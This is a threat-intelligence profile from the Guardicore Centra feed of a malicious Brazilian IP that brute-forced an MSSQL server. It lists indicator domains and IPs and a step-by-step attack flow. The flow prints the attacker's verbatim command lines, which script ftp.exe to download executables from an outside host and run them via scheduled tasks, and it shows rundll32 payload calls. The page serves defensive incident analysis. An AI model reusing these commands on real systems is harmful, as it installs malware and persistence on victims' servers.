IP Address: 177.75.65.18Malicious

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IP Address:
177.75.65.18​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Scheduled Task Creation PowerShell Outgoing Connection Drop MsSql Table Successful MSSQL Login System File Modification Service Configuration File Operation By CMD Access Suspicious Domain Persistency - Logon DNS Query MSSQL Brute Force Listening IDS - Attempted User Privilege Gain Download and Execute Create MsSql Procedure MSSQL Null Session Login MSSQL Service Start CMD

Associated Attack Servers

gamesoxalic.com down.1226bye.pw zoape.com js.1226bye.pw yancy.pw

223.25.247.152 173.247.239.186 167.88.180.175 199.168.100.74 23.236.69.114 66.117.6.174

Basic Information

IP Address

177.75.65.18

Domain

-

ISP

TELY Ltda.

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-02-25

Last seen in Guardicore Centra

2020-05-19

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc , sp_addlogin and sp_password

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL tables were dropped: #A1E8A56F and #A3D0EDE1

Drop MsSql Table

IDS detected Attempted User Privilege Gain : sp_start_job - program execution

IDS - Attempted User Privilege Gain

System file C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask was modified

System File Modification

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: down.1226bye.pw and gamesoxalic.com

DNS Query Outgoing Connection Access Suspicious Domain

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: gamesoxalic.com:21

Outgoing Connection

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.pw

Access Suspicious Domain DNS Query

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line cmd /c start /min c:\windows\system32\wbem\123.bat to run using Persistency - Logon

Persistency - Logon

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175, 173.247.239.186:8186, yancy.pw:8074 and zoape.com:8152

Outgoing Connection

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw and zoape.com

Outgoing Connection Access Suspicious Domain

Service msiserver was started

Service Start

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 2 times

Listening

Service WdiSystemHost was started

Service Start

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\aspnet\u.exe generated outgoing network traffic to: 23.236.69.114:8114

Outgoing Connection

Connection was closed due to timeout

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IP Address: 177.75.65.18​Malicious